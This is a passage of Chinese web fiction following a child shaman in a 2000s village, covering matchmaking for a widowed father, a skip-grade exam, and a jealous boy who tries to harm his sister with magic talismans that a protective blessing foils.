温大娘举起筷子就要敲他,霍正义忙往大哥身后躲,却不想最安全的地方就是最危险的地方,他大哥狠狠给他脑壳敲了下。 霍正国呵斥:“提要求前先照照镜子!” 霍正义吃痛地揉着脑门儿,“大哥我还是你亲弟?我那不是随口一说,没听过漫天要价坐地还钱啊?” 温大娘忍俊不禁,给这小子说了句公道话,“他这话在理,再说他这条件也不差,他高中毕业,城里有房有门脸儿,开的书店红火又有面儿,娶个城里姑娘也有说头。” 霍正国当然也觉得弟弟不差,但让他亲口承认他是说不出来的。 “不拘是城里的村里的,只要正义喜欢,两口子踏实过日子就行。” 说完霍正义,霍骁北拽了拽他爸的袖子,“爸,你呢?” 霍正国愣了下,而后担忧地看着儿子,“是有人在你跟前说了什么吗?” 霍骁北摇头,“没有。” 他道:“爸,我和温奶奶学玄术已经入了道,会有五弊三缺,不一定能时刻陪在您身边。” 温大娘也说:“大国,孩子不介意,你想找就找。” 丧夫再嫁或丧妻另娶本是常事,何况霍正国还这么年轻,今年才二十六。 男人么,别说二十六,就是六十二也想再找呢。 温大娘看得出这后生也有那个意思,许是怕孩子委屈不高兴才拒绝。 不过这种事,要么委屈老子要么委屈孩子,但根节儿还在老子上。 霍正义也瞧出了大哥的心思,马上就鼓动道:“找找看,有合适的就谈,没合适的就这么着呗!” 转天,温大娘就给来串门儿的王大娘递了话。 第92章 第92章零零年代乡村小神婆17…… 霍家兄弟要相亲,这在十里八乡属实是个大新闻。 兄弟俩模样端正身形威武高大,在城里开书店开修理铺,不好烟不好酒的,还读过书有文化,在乡下地头属实是上上乘的女婿人选。 霍正文就不多提了,他头婚,大把的人家想让他做女婿呢。 霍正国这个二婚带娃的也很吃香,有房有车城里还有个修理店,除了嫁过去当后娘这一点,实在挑不出毛病来。 俗话说,嫁汉嫁汉,穿衣吃饭。 嫁给霍正国吃穿该不用发愁,愁的就是他家已经六岁的娃。 疼闺女的人家直接略过老大,跟王大娘递话要相老二。 两兄弟一块相亲,可以说头一茬儿都是奔着霍正义去的。 愿意相霍正国的人家,多少都有大毛病。 霍正文那边是照着十全十美挑,霍正国这边就只能寻毛病没那么多的。 王大娘也知道坏事了,她就该给俩兄弟分开相才对! 现在她就怕弟弟成了哥哥没成,往后俩兄弟再因为相亲不对付,那不就成了她的罪过?! 王大娘一面跟温大娘诉苦,一面只能对霍正国的相亲更加上心。 “妹子,你再帮我仔细问问,大国还有别的要求没?你让他尽管提,他提了我才知道给他找啥样的!” 老姐妹俩故意避开霍骁北,挪到院子里说。 不过旁边还是黏了个小团子,美其名曰打探消息。 温苒咕哝着零嘴的空隙,回答王奶奶这话:“肯定不能虐待哥哥!” 王大娘摸摸她的脑袋,“好孩子,奶知道,奶肯定找那脾气好心眼大的。” 她跟娃娃说完,抬头跟温大娘道:“不过大妹子,我也不是有火眼金睛,我只能可着好的找,嫁进来以后咋样我也不能铁定保证。” “到底是来当后娘的,大姑娘心里不得劲,那有孩子的指定得向着自家孩子,这都是人之常情。” 温大娘清楚这话不假,大国的条件就这样,哪能要求对方十全十美? 温苒举起小手,“可以算!” 温大娘顿了下,眼睛渐渐发亮,“对啊!” 她抓着王大娘的胳膊,“老姐姐,你把看好的人家都给我说道说道,我先给算算咋样!” 王大娘‘哎哟’一声,快被她自己给蠢哭了,“对对对!我咋忘了大妹子你是干啥的?你就是给算这个的啊!” 村里相亲合八字算吉日,哪个不来找温神婆?! 王大娘当即把自己相中的几个秃噜出来。 温大娘带她进屋,炕桌后霍骁北听说要算卦,去把新买的大五帝钱翻出来。 温大娘看到他在,心说让孩子听听也好,总归是跟他往后息息相关的大事。 这次是温苒来算。 王大娘心里有点没谱儿,温大娘便道:“她算得准,不准我会纠正。” 温大娘也不想打肿脸充胖子,但俩娃才这丁点大,出去招摇撞骗都没人信,还是得她顶在前头才行。 王大娘信她,清清嗓子先说:“大国兄弟俩一起相亲,大多都是冲正义去的,冲大国来的都是条件没那么好的。” 说条件没那么好都是往好听了说的,乡下村子里,就是条件好的人家也好不到哪里去,更何况条件一般的。 要不怎么说带娃的霍正国是个香饽饽儿呢? 只不过这个香饽饽儿前头有个更香的霍正文,大家都去追那个了,才显不出霍正国来。 “我给大国看好的有三个,其中俩都是二婚,一个是个大姑娘。” “我先说大姑娘吧,是刘家村的,她家老姑给我递的信儿。” “这姑娘的老娘难产没了,家里穷,她爹想再娶就出去打工,结果钱没赚到腿瘸了。” “这姑娘也是能干,一个人拉拔老爹和小弟,现在把她弟供上了高中。” “她不要彩礼,但是嫁过来以后她想大国继续供她弟念书。” 温大娘:“……” 她不想多说什么,但娶这个就相当于娶了一家子,拉拔着也不知道什么时候是个头? 不用算卦,温大娘就摇头拒绝了,“大国条件没那么差。” 王大娘在心里叹气,她当然知道大国这条件多好,可她不是一时得意忘形,给好心办错事了吗? “那我说后头两个吧,后头一个带娃一个不带娃的,我先说不带娃的。” 温大娘点了点头。 王大娘:“这个媳妇儿吧,也姓刘,命有点硬,进门不到半年就克死了她男人。” 温大娘就是道上的,当然知道大多数人嘴里所谓的‘克’有多大水分。 “许是八字不合,也许是她男人本来身体就不好,你说道说道,我给她推推八字。” 王大娘先说了小媳妇儿的生日,又说了几件大事。 温苒推出八字,再和霍正国的一合,竟意外得合适? 王大娘一听喜得鼓了两下掌,“那就这个了!” 温大娘拦住她,“先别定下来,俩人还没相看呢,万一不合眼缘,八字再合也不成。” 王大娘自然都听她的,“那我跟那边递个话,咱们两边约个日子相看,还在你家吗?” 温大娘点头,“还在我家。” 王大娘乐颠颠儿去传话了。 温大娘问小孙女,“你再跟我们说道说道,是你叔的正缘吗?” 当然不是! 谁说正缘一定要八字相合的? 君不见,多少一辈子到老的夫妻都是面不合心也不合,日子都是凑合过,饭菜都是将就吃。 温苒只能说:“反正会很好。” 温大娘就知道该咋跟霍正国讲了。 她呆坐着想了片刻,忽然问霍骁北:“骁北,你给你姑指的,也不是正缘吧?” 霍骁北:“不是。” 温大娘嘴角不住上扬,“不是也好,管她什么正不正的,要么对你姑好,要么你姑喜欢。” 旁的她才不管! 相看的日子定在腊月十二。 那天乡里有个大庙,听说到时还有舞龙舞狮的,不过庙会必有的唱大戏是没有了,而且估计往后几年都不会有。 年头的戏班人贩子团伙轰动整个山陵县,现在都还有人说道呢。 庙会当天,温苒早早的被叫起来,趴在炕桌上吃了香喷喷一顿饺子。 温大娘把娃娃抱下炕,抻了抻衣服,“跟你哥哥去外头玩儿吧。” 温苒不高兴地撅嘴,“我才不去外面。” 那些小孩儿实在讨人嫌,大国叔找媳妇儿,他们指着哥哥说他没人要的孩子。 霍骁北走过来牵上她,“走吧,跟小叔去城里玩。” 温苒大眼睛瞬间亮起来,“要去要去!” 温大娘低头看着孩子,“真去城里啊?骁北,不看看你爸找的媳妇儿?” 霍骁北仰头回望,“是我爸找。” 又不是他找。 温大娘读懂了他的言外之意,她:“……” “那行吧,你们去玩儿,我留下来替你把关。” 俩小孩儿在城里疯玩一天,回来就听说这次有门儿。 温大娘笑着把刘香兰带的礼物扣在她们头上,“瞅瞅,你们兰姨织的,听说她还会织布绣花,自己给人裁衣服就能赚钱。” 温大娘于相面一道不甚精通,所以教出来的温怡连半吊子都算不上,但大概好赖她能感觉出来。 刘家的这个香兰,着实是不错。 “她两个兄弟也疼妹妹,家里情况比不上咱们,但我瞅着那一家子眼神清明,待人和气,知道进退,这是再多旁的也比不上的。” 温苒摸着柔软的兔兔帽和兔兔围巾,骄傲地挺起了胸膛,“都是我的功劳!” 两家说好了先处一段时间。 之后霍正国请刘香兰去城里看了场电影,中午来温家吃饭,算是正式和家里见了面。 刘香兰不是大美女,但很耐看,为人爱笑,性格是和她长相截然相反的爽利。 刘家对霍正国 也很满意,霍正国带霍骁北去刘家吃饭,那边还特意给霍骁北准备了见面的红包。 两家一商量,择日不如撞日,在年后的元宵节领证办了婚礼。 温怡在鹏城没回来,电话里说买了金镯子送给刘香兰。 霍正国这边一次相亲就成,霍正义那边反而因为挑花了眼,相了几次都没成。 王大娘再来温家,那叫一个神清气爽,“哎呀,大国和香兰这婚事,我做媒几十年也没见过比她俩更合适的了。” 同在温家的张来娣说道:“大国的事定了,我看不少人家都后悔呢。” 那些奔着霍正义去的人家,可有不少是把霍正国当退路了,想着万一弟弟不成再找哥哥。 这下别想着成不成了,好些人家都慌得六神无主。 霍正义条件是真好,他大哥定了以后,他还去村里要了温家隔壁的空地当宅基地,眼瞅着是要盖新房子,这无疑又是一个大加分项。 现在还有意的人家纷纷开始降低条件,王大娘听得脸都木了。 头回见这么离谱的情况,有些彩礼都不打算要了。 新学期开学,朱梅梅转去县城的私立小学,排名表上始终不变的成了前三名。 让温苒意外地是,上学期的期末考试,张耀祖竟然是倒数第一?! 张瑶兰知道内情,“他那天拉肚子,没参加考试。” 温苒脑筋一转,明白了。 张耀祖期中考试失利,所以系统没有奖励,他也就没有转运符,所以倒霉错过考试。 没有转运符就倒霉错过考试,错过考试就没有奖励没有转运符,这是个死循环! 这是不是意味着,温苒此后不用再担心张耀祖会逆袭了? 这个念头萦绕在脑海中没多久,常因为捡垃圾缺课的张耀祖就频频出现在课堂上。 听课,抢答,写作业,没两天就给他折腾出月考这个大杀器。 温苒:“……” 好能折腾的扫把星! 第93章 第93章零零年代乡村小神婆18…… 和扫把星斗智斗勇一个学期,好不容易放了暑假,温苒懒懒地摊在炕上,打算好好享受悠闲的假期时光。 结果就见瑶兰姐姐风风火火跑进来,一脸神秘兮兮同她道:“耀祖要跳级!” 温苒板板正正弹坐起来,他怎么这么能折腾? “我们也跳!” 没道理他个第四名跳级,她们前三名不跳! 张瑶兰懵了,“啊?” 温苒拍拍她的肩膀,小奶音充满了蛊惑,“瑶兰姐姐,跳级可以早毕业,早毕业就能早工作,早毕业还能少掏学费……” 张瑶兰表情一变,发狠似的喊了一声:“跳!” 一旁霍骁北:“……” 张耀祖的打算是避开三个学霸的光芒,他去高年级称王称霸。 努力了一个学期,他的最高名次始终是第四名,可系统只会奖励前三名,他就只能靠平时认真听课那点蚊子腿攒攒积分,至今没怎么提升过数据。 行! 惹不起他还躲不起,他跳级! 跳级成功的奖励不菲,靠着这笔奖励,他绝对能在高年级横着走! 只是张耀祖万万没想到,新学期开学,一同参加跳级考试的还有温苒三个。 张耀祖:“……” 张耀祖:“?!!” 张耀祖想摔门而去,踏马的,这三个小东西到底想做什么?就非跟她过不去了是吧? 张耀祖紧咬牙根,绝不能,绝不能让她们三个得逞! 他的视线一一从三人身上划过,温苒和霍骁北不考虑,这俩小的据说在跟温老婆子学那些神神道道的东西,不容易对付。 那就只剩张瑶兰。 张耀祖歪嘴一笑,好姐姐,为了弟弟你就委屈一下吧。 三个人他没办法都阻止,那就弄走一个,他至少要摸到第三名的奖励。 张瑶兰一无所觉。 考试开场,偌大的教室里只有四个考生,而老师比学生还多出一倍,就连校长都在。 校长和蔼可亲地把试卷发给温苒,乖乖,这娃娃比他想的还聪明,四岁读一年级,次次考试都是第一名,五岁还要跳级! 这不出意外就是神童啊! 校长立在温苒旁边,看着她小手捏着铅笔,一笔一划写上名字,虽然年纪小力有不逮,但结构和形状都很标准,比她大几岁的孩子都不一定能有她的字迹端正。 走到霍骁北身边,校长也很满意,得,又一个神童。 再到张瑶兰身边,校长觉着这是个聪明知道上进的孩子。 最后是张耀祖,校长的眼神带上了审视。 这孩子,心气高,性子急,还眼高手低,卷子不好好写,经常省事只写个答案,好像这样老师就会高看他一眼。 殊不知人家比他聪明的都一个步骤一个步骤写,熟才能生巧,偏他就懒得不动笔,在脑子里胡乱过一遍就写上答案,错了都不知道怎么找补。 转了一圈,校长就离开教室。 张耀祖得意洋洋,不枉他整个暑假除了捡垃圾就是看书,这次他写得又快又好,附加题也肯定没错,校长肯定被他惊到了! 张耀祖飞快写完卷子,趁无人注意,飞快撕掉一张符箓。 一道红光闪过,飞向他前座的张瑶兰。 张瑶兰打了个哈欠,眼皮沉沉地往下坠,笔直的小身板越来越低,最后伏在书桌上。 张耀祖歪嘴一笑,举手交卷,临走前得意地看了眼温苒和霍骁北,夹杂着不屑。 还跳级,这么简单的卷子还没写完,神童的名号也名不副实罢了! 温苒看懂了他的眼神,相信没谁会看不出来。 这怎么能行? 温苒举手,“老师我也写完了!” 霍骁北跟着举手,“老师。” 老师看了眼手表,一个小时的考试时间刚过去一半,不过想想这几个孩子的身份也就了然。 跳级么,没点本事可跳不了。 老师收上来三份卷子,扭头就见张瑶兰趴在桌上昏睡,她过去喊人,“瑶兰,瑶兰,醒醒,还在考试。” 停在门口的张耀祖一看这哪行,让老师把张瑶兰叫醒,万一她也考过了怎么办? 他出声阻止:“老师,我姐可能是不会做所以放弃了,你把她的卷子也收了吧。” 他还催促:“我还有事,老师赶紧判,判完告诉我结果。” 温苒瞪了他一眼,没安好心的黄鼠狼,肯定是扫把星又使坏了! 温苒从书包里掏出张驱秽符拍过去,一道金光闪过,附在张瑶兰身上的红光消散,她眼睛动了动缓缓睁开来。 入目就是老师和小妹妹关心的表情,张瑶兰反应过来,忙道:“我、我对不起,我没事……” 老师松了口气,“没事就好,先写卷子,还有半个小时,别着急,好好写。” 张耀祖没有错过温苒的动作,恨得咬牙切齿,没眼色的小东西!就显摆你能了是吧? 他视线死死盯着温苒手上的书包,眼底翻涌着贪婪和嫉妒。 小丫头是温老婆子的孙女,那老婆子就这么一个孙辈儿,疼得跟眼珠子似的,想必没少给好东西傍身。 不知道那里面还有多少张符箓,他累死累活才从系统那里得到几张符箓,两只手都能数清楚,结果这小丫头随手就是一张,实在不公平! 另一个老师带她们三个出去,“好了,考完去隔壁教室休息,我们判完卷就告诉你们结果。” 温苒乖巧地道谢,看得老师心里软乎乎的,摸出随身带的糖果饼干塞过去,“去吧,有事就喊老师。” 温苒抱着零食,霍骁北拎着两人的书包,和张耀祖进了隔壁的空教室。 张耀祖的目光一刻也不愿离开温苒的书包,满脑子都是那里面有多少张符箓,他该怎么弄到手。 半小时过去,张瑶兰交卷过来,拉着温苒对答案。 “哎呀我考到一半睡过去了,还好题不难,我加紧写完还检查了三遍才敢交卷,没想到还是错了一道题。” 温苒安慰她,“没事,只错了一 道计算题,才三分,九十五分不成问题。” 张耀祖心思在温苒的书包上,因此跟她们坐得不远,对的答案都进了耳朵,他不禁在心里核对一番,发现他大概有十二分的题跟温苒对不上。 不可能是他错! 一定是温苒错! 张耀祖坚信自己是对的,他毕竟高考都考了三年,怎么可能连小学的算术题都能算错? 结果分数出来,温苒和霍骁北满分,张瑶兰九十七,张耀祖八十六。 比他预估的最低分还要少两分,因为他唯一一道写了步骤的应用题,有一个步骤的答案错了。 好似一道晴天霹雳,张耀祖僵在原地,他竟然真的错了…… 如果说之前一年他还能安慰自己,每次考试的错题他都会,只是粗心大意写错了,但这次他是真的无法接受。 他明明都检查了一遍啊! 他怎么可能会错! 老师把试卷发下来,张耀祖忙不迭去看错题,一道审错了题,一道看串了题干,还有一道步骤错了。 张耀祖:“……” 松了口气的同时,心里又挺不得劲。 好消息:他不是智力低下的傻子。 坏消息:他连五岁小孩儿都考不过…… 校长进来宣布结果,“大家都通过了,开学后就是四年级的学生,都是聪明孩子,考过了也不要骄傲,争取把新同学也考下去!” 校长的打算本来是九十分予以通过,张耀祖差了四分,原本是不合格。 但校长考虑到了张来娣,张老师家里条件困难,还要一个人照顾俩孩子,带两个同年级的孩子肯定要松快些。 加上校长觉得张耀祖这孩子只是心不定,脑子还是聪明的,能跟上四年级的进度,就决定让他也通过了。 张耀祖还不知道校长的心思,他连忙打开系统领取奖励,结果奖励到手,只有原本的三分之一。 张耀祖愤怒地质问系统,系统只标红放大了任务说明。 满分通过,奖励翻倍。 九十五分以上,奖励全额发放。 九十分到九十五分,奖励减半。 而八十五分到九十分,奖励只有三分之一。 不通过,奖励没有。 张耀祖猛地攥紧拳头,看着光屏上一个分又一个条件,眼睛红得滴血。 分分分! 就知道分! 张耀祖咬着牙把加点全加在智商上,他就不信了,他非得考一次满分第一次给系统看看! 不过在此之前,张耀祖还琢磨着另一件事,他得把温苒那个书包弄到手。 而就在他觊觎温苒书包的时候,他毫无所觉,在他的身体里还有另一个灵魂。 “抢到了!” 邪道的魂魄将一缕蓝色抓在手里,迫不及待吞入口中。 有了这个,恢复神魂指日可待,等他养精蓄锐,再把那不知名的强大神器收为己用,称霸天师界指日可待! 张耀祖加完智商,再看跳级的卷子,觉得好像变简单了,又觉得没那么明显。 他很不满意,五个点就这个程度? 开学前还有几天假期,张瑶兰日日抱着书本去温家学习。 等她回来,张耀祖拽着她去角落里,“姐,你把温苒的书包拿过来给我看一下,我想学做针线赚钱。” 张瑶兰没有怀疑他的用意,但她拒绝,而且拒绝得毫不留情,“不行,你再给苒苒弄脏了,你赚钱捡垃圾就行。” 张耀祖牙齿咬得咯吱咯吱响,他这姐姐也是牛气起来了,都敢跟他说‘不’。 遥想上辈子,这赔钱货跟着舅妈捡了十几年的垃圾,到了岁数就嫁进山里,换来的彩礼继续供他复读。 哪像现在,赔钱货都能上学读书了! “让你拿你就拿!不然等爷爷回来看我让他怎么教训你!” 张耀祖凶神恶煞地揪着她的衣领威胁起来。 张瑶兰才不惯着,一把推开他,“那你等吧!爷爷三五年内都不会回来,你等吧!” 第94章 第94章零零年代乡村小神婆19…… 张瑶兰拍拍手就进了屋,张耀祖看着她的背影,肺都要气炸了。 贱人! 赔钱货! 张耀祖气上头,拿出张符箓来扯开,一道黑光闪过,追随着张瑶兰飘去。 张耀祖歪嘴一笑,已经开始期待张瑶兰怎么倒霉了。 他迫不及待迈步跟上去,结果‘噗通’——平地摔还是脸着地。 屋里张瑶兰疑惑地掏了掏兜,掏出一枚正在发热的符箓。 夏天衣服薄,苒苒说让她把符箓贴身放着,有什么意外好第一时间就能知道。 张瑶兰警惕地环视一圈,好像没什么危险,不过她再提步却是小心上许多。 温家小院,温大娘放下电话,转头高兴道:“咱们师叔祖出关了!” 温苒正在翘着脚脚吃葡萄,听见这话蹭一下坐起来,“要收徒了吗?” 温大娘:“……” 温大娘讪笑,“那倒没有。” 温苒于是躺了回去,兴致缺缺:“哦。” 温大娘走过去把娃娃戳起来,“那也得准备准备。” 她说完,转身打开衣柜,开始翻找起来,“穿得喜庆点,上了年纪的最喜欢机灵可爱的娃娃。” 温苒自顾自躺下,哼道:“我不要抹红脸蛋!也不要点红点!不要抹红嘴唇!” 一连三个不要,给正打算这么做的温大娘说得是浑身一僵,“那穿红色的小背心和小裤衩,可惜凉鞋没买红色的,换成布鞋吧!” 温苒:“……” 还好遭殃的不止她一个,霍骁北也被勒令换上了清一色的红背心红裤衩和红布鞋。 来温家串门儿的村邻,哪个见了俩娃娃都得夸一句喜庆。 可不喜庆,过年的时候温苒都没穿过这么多红色。 串门儿鲜少有带孩子来的,因为温大娘的职业,不少人家都忌讳这个,大人过来乘凉唠嗑可以,自家孩子是一个不许靠近。 不过许是温苒和霍骁北跳级的消息传了出去,渐渐的也有家长带孩子过来,但极少能和温苒她们玩到一块去。 熊孩子熊孩子,乡下惯孩子的更是比比皆是,不知四六的一抓一把,像张瑶兰那样懂事乖巧的才是少数。 十来岁的半大孩子来了,只知道欺负温苒抢温苒零食,霍骁北当然不客气地动手教训。 孩子的事大人一般不管,但孩子挨了揍,家长肯定会不高兴。 渐渐的,有关霍骁北的闲话就那么传了出去。 温大娘有所耳闻,当即两眼冒火,上门找了几家的麻烦才消停下来。 她随后放话,不熟的人家别来她家乘凉。 温苒和霍骁北布的多功能阵法冬暖夏凉,冬天还不觉什么,一到夏天温家就成了消暑胜地。 什么大石碾小树林老磨房,都不如温家的凉爽小院。 没了扰人烦的熊孩子们,虽然小院依旧热闹,却清净了不少。 温苒拽着霍骁北出门,在自家院墙外头绕圈,检查埋下去的灵植种子。 种子有系统签到送的,也有齐冰寒回协会时请他代购的。 神医技能满级是LV10,温苒至今停留在LV5,也是时候该精进一下了。 继卜算、相术、符箓和阵法后,她于是把炼丹也加进 了学习计划。 炼丹没有灵植可不成,但末法时代别说灵植,上了年份的药材都难找,所以还得自己动手。 从播种到炼丹,自己种药,丰衣足食。 温苒的宝贝药每天都要看三遍才放心,但每次出门,都能碰到张耀祖在附近溜溜达达。 温苒小眼神警惕地瞥过去,跟霍骁北道:“他一定是想偷药!” 霍骁北:“……” 霍骁北:“他不认识你的药。” 有道理,温苒放心了。 “那他想做什么” “难道还想下咒?” 温苒想起姥姥脖子上戴的玉符,也安心了。 不怕不怕,不管张耀祖想做什么都会自食恶果。 霍骁北牵着她进院子,“问问张瑶兰就清楚了。” 张瑶兰来家里写作业,被问起弟弟张耀祖,她仰头想了半天,才回答:“可能是想要苒苒你的书包。” 温苒的书包有好几个,有妈妈买的,有姥姥买的,有香兰姨送的,还有庙会上打气球套圈赢的,派出所的所长和警察也送过她几个书包。 班上同学用的书包都是自己家缝的布兜,只有温苒和霍骁北用的是外头买的书包,书包外头画着各种受欢迎的动漫角色,每次上下学两人都是学生堆里最靓的娃娃。 可张耀祖想要她的书包? 一个二十多岁的灵魂喜欢她的公主书包? 如果张耀祖想要她的书包是事实,那肯定不是只想要书包那么简单,他一定还有别的目的! 霍骁北想了想说道:“下周是期中考试,这几天要小心。” 跳级考试时张耀祖给张瑶兰使绊子,保不齐这次的目标就是他和温苒。 温苒眼珠一转,打算试试新学的巫术,其中有一法术名为‘赐福’。 她请大巫上身,一连给自己、霍骁北和张瑶兰上了几道祝福,主打一个谁敢碰谁就栽。 张耀祖也确有故技重施的想法,目标还是张瑶兰。 他对张瑶兰的恨意比对温苒和霍骁北多太多,人不会对和自己差距太大的对象产生太多情感,却会对朝夕相处的人产生。 张瑶兰和他一母同胞,上辈子过得那样惨,一辈子都在为他而活,是他张耀祖的血包,结果这辈子血包不听话了,去上学还次次压他一头。 张耀祖最想成为的‘学霸’身份,张瑶兰轻易收入囊中。 这无疑让张耀祖因学霸系统而重拾的自信跌入谷底。 ‘他不行’,这三个字在每次考试排名出来后,都会在他心底加深。 上辈子张耀祖复读三次都没能考上大学,重生后即便有学霸系统加持,他也照样考不过真正的八岁小孩儿张瑶兰。 如果张瑶兰参加高考,是不是就会榜上有名? 张耀祖心里清楚,但他不愿意承认这个事实。 他只能无能狂怒,用张瑶兰的性别去打压去否认她。 张瑶兰是个赔钱货,赔钱货就是用来使唤的,赔钱货最大的作用就是到了年纪给他换一笔彩礼,赔钱货读书没用,成绩再好也没用。 而他张耀祖是男的,是张家唯一的男娃,不管他读书好不好,他都能像他的名字一样,传宗接代光宗耀祖。 漆黑的夜里,张耀祖站在沉睡的张瑶兰床前。 他手上握着一张离魂符。 离魂的人会神志不清,魂魄不全的人天生就是傻子。 张瑶兰成了傻子,就没办法去上学。 到时候他就是第三名,到时候张瑶兰就还是他的血包。 张耀祖歪嘴一笑,毫不犹豫撕开离魂符。 黑光飞向张瑶兰,却在接触的瞬间被耀眼的金光弹飞。 不过这些张耀祖都看不到,他是绝灵之体,永无修炼的可能。 黑光在强大的金光下毫无招架之力,转眼消散无踪。 离魂符使用失败。 但张耀祖对此也不清楚。 金光把黑光打散后,直直朝着张耀祖而来。 张耀祖一无所觉,他静静站在床头,金光没入他眉心。 霎时张耀祖浑身一僵,清醒的眼神涣散,他身体一歪,砰地倒地。 张瑶兰有祝福在身,睡眠沉沉,大清早起来才发现张耀祖在自己房间里。 张瑶兰匆匆跑去找张来娣,“奶奶!耀祖在我房间里昏倒了!” 张来娣面色一沉,“瑶兰你先吃饭,吃完去温家,让你温奶奶送你们去学校考试。” 张瑶兰弱弱点头,“奶奶,不会有什么事吧?” 张来娣深吸一口气,看向小孙女的眼神满是怜悯,“没事,他能有什么事,谁出事他都不可能出事!” 扫把星出不了事,但扫把星去小孙女屋里是干啥?绝逼没安好心! 张瑶兰去吃饭,心里却越发埋怨上了张耀祖。 奶奶本来身体就不好,教书还忙,偏偏耀祖这么不省心,整天不是那搞点事就是这找点不自在。 唉! 要是家里只有她和奶奶祖孙两个该多好! 中午放学回家,张瑶兰踢着路上的石子发愁,“苒苒,你说我爷爷会同意把耀祖接过去,让耀祖在城里念书吗?” 张瑶兰思来想去,也只想到这一个办法。 温苒听完想了想,脆生生回道:“当然同意!” 张瑶兰眼睛亮了亮,飞身就跑,“那我去跟奶奶说!” 温苒勾勾小手把人拽回来,“等等!不行!” 张瑶兰不解。 温苒同她解释,“你爷爷肯定会对张耀祖有求必应,他的扫把星命格压不住,会波及你和张奶奶。” 穷倒是其次,关键张奶奶的身体又会回到原先那样。 张瑶兰丧气地蹲下来,“那我该怎么办?” 温苒在她面前也蹲下来,“让张奶奶去跟你爷爷实话实说,告诉他们只有张耀祖不好她们才会好,张耀祖好了她们就会不好。” 听说这两年张老头领着儿子儿媳在外头挣了不少钱,这都得归功于张来娣对张耀祖的苛待。 享受过了好日子,让张老头再回到原先吃糠咽菜的时候,他难道就愿意吗? 一次不行,就两次,来来回回几次,让张老头在吃苦和吃肉当中摇摆,他自会知道该怎么选。 人嘛,都是自私的,只是让孙子吃点苦,又没有性命之忧,当老子的享享福怎么了? 张来娣听完决定试一试。 于是一通电话打去了南方,张老头租的房子楼下的小卖铺里。 张老头接通电话,就听他那很有文化的知青媳妇儿告诉他:“老根儿,你们出去打工以后我就找温嫂子拿了主意,耀祖的扫把星命压不住的话,咱们全家只能穷死,从此往后老张家也会绝户头。” 张老头脑袋嗡一下子,前面许多话他都不在意,最让他在意的是那句‘绝户头’。 “老根儿,我这两年对耀祖多有苛待,除了让他去上学,他平时饭是自己做衣服自己洗,顿顿吃的是粗碴儿棒子面,结果你也看到了,你们在南方打工也赚到了不少钱。” 张老头吞了吞口水,是啊,赚了钱他们穿上了新衣服,隔三差五吃顿肉,这日子比起之前简直就是神仙过的。 “老根儿,你要不信,今天晚上我就给耀祖烧一顿好菜,只是你们在外边要注意安全了。” 说完这句,张来娣就在温苒的示意下挂掉了电话。 她看向小娃娃,“苒苒,这就行了?” 温苒比了个‘OK’,“等等,一会儿他会来电话。” 而电话那头,张老头却被那句‘注意安全’给吓得心惊肉跳。 啥、啥就注意安全了? 他大孙子吃顿好的,难不成还能让他这个当爷的缺胳膊断腿不成? 念头浮现的下一秒,张老头又情不自禁产生疑问:可是,真的不会吗? 第95章 第95章零零年代乡村小神婆20…… 想想大孙子出生后家里一天比一天难过的苦日子,再想想出来打工后有酒有肉的好日子,张老头情不自禁吞了吞口水。 难言的恐惧涌上他的心头。 苦日子过后的好日子最让人舍不得,要是没过上好日子就罢了,关键现在肉吃过酒尝过,体会过那么美妙的滋味,让张老头再放弃确实很有难度。 酒肉尚且是身外之物,最让张老头心惊胆颤的却是那句‘绝户头’。 他为啥眼里只有男娃,还不是因为男娃可以光宗耀祖传宗接代? 要是连传宗接代都办不到,还管他什么男不男女不女的? 张老头哆嗦着手拨回了电话。 张来娣一接通,就听到张老头颤颤巍巍的变了调的声音:“来娣,万一是姓温的老妖婆诓你呢?” 张来娣开了免提,所以老妖婆本人听了个一清二楚。 温大娘冷笑,“狗改不了吃屎,这德行也怪不得他自个没福分。” 张老头就属于有爹妈靠爹妈,没爹妈靠媳妇儿,靠他自 己就只能吃糠咽菜的无用男人。 张来娣跟温大娘已经处成了好姐妹,听人这么说自己妹子她可忍不了。 “张老根儿!你个人脸上长了狗眼睛的,你心思不正心眼比蚊子还小,不是你非要招惹温嫂子给嫂子找不自在,你当嫂子愿意搭理你呢?” 张老头脸色涨成了猪肝色,大吼:“来娣!你怎么能这么说?我是你男人!是你男人!” 张来娣打断他,毫不留情道:“要不是你爹娘威逼利诱,你当我愿意呢?” 电话对面,张老头一下子炸了,气得直跳脚,脸红脖子粗地喘着粗气,“那我也是你男人!” 话是这么说,可张老头也只能说说而已。 他脑海里不由自主浮现出一张张画面。 张来娣一个人在村里带孩子,免不了要出面跟外人打交道,和村里其他老头拉拉扯扯。 亦或有老光棍看张来娣一个婆娘过得难,一来二去上门帮忙,万一真发展出来点什么,他张老根儿的脸往哪里搁? 一瞬间,张老头对被戴绿帽子的愤怒,胜过了对扫把星孙子的恐惧,产生了回村教训知青媳妇儿的念头。 但很快理智回笼,张老头虽然还是无法冷静下来,但他又清楚的知道,回村的车票很贵,能让他吃肉喝酒好一阵子。 张老头愤怒地喘息渐渐平息,传到电话这一端,温苒估摸着时间差不多,让张来娣继续。 张来娣软下语气:“老根儿,我也是为家里好。温嫂子是有真本事的,气量也大,人家不稀得跟你计较。” “我拖着病体去求嫂子,嫂子二话不说给我指了条明路。嫂子是看在她丈夫的份上,才给我这个原来的知青面子。” “老根儿,你心里知道好赖,温嫂子有本事,可你看她真不顾同村情谊对张家做过什么吗?” 张老头彻底沉默了。 他当然知道,不然十里八乡都没人敢得罪温大娘,他却一次次上门找不自在,还不是因为他清楚,他压根就没被那老娘儿们放在眼里过。 可正是如此,他才不甘心。 他可是个男人! 他那会儿还是个工人! 他还娶了个有文化的知青媳妇儿! 姓温的婆娘成天搞神神道道的东西,谁家不忌讳这个? 她除了模样好点她还有什么拿得出手的,他都没嫌弃她,她凭什么都不拿正眼看他一眼? 温苒见时机已到,让张来娣放出大杀器,“老根儿,耀祖是指望不上了,供他念书是咱家唯一能做的,到底是咱家的孩子。” 张老头却皱了皱眉,都指望不上了还费钱供上学做什么? 张来娣没等他的回答,紧接着便道:“老根儿,正好孩子都不在身边,你多督促儿子儿媳,让她俩努努力,再生一个。” 张老头瞬间挺直了身体,眼里亮起奇异的光彩。 对啊! 再生一个不就行了?! 找到了希望,有了奔头,张老头的精神焕然一新。 心情一好,他很快想到了张来娣身上,于是高兴道:“来娣,过会儿我再给你寄笔钱,往后每月领了工资我都给你打一部分,你留着自个花,肉啊鸡蛋啊多买点,把身体养好,千万别亏着自己!” 张老头絮絮叨叨一通说,中心思想只有一个:花他的钱,别给其他老爷们儿眼神! 张来娣:“……” 她拉拉着脸,没等张老头说完就撂了电话。 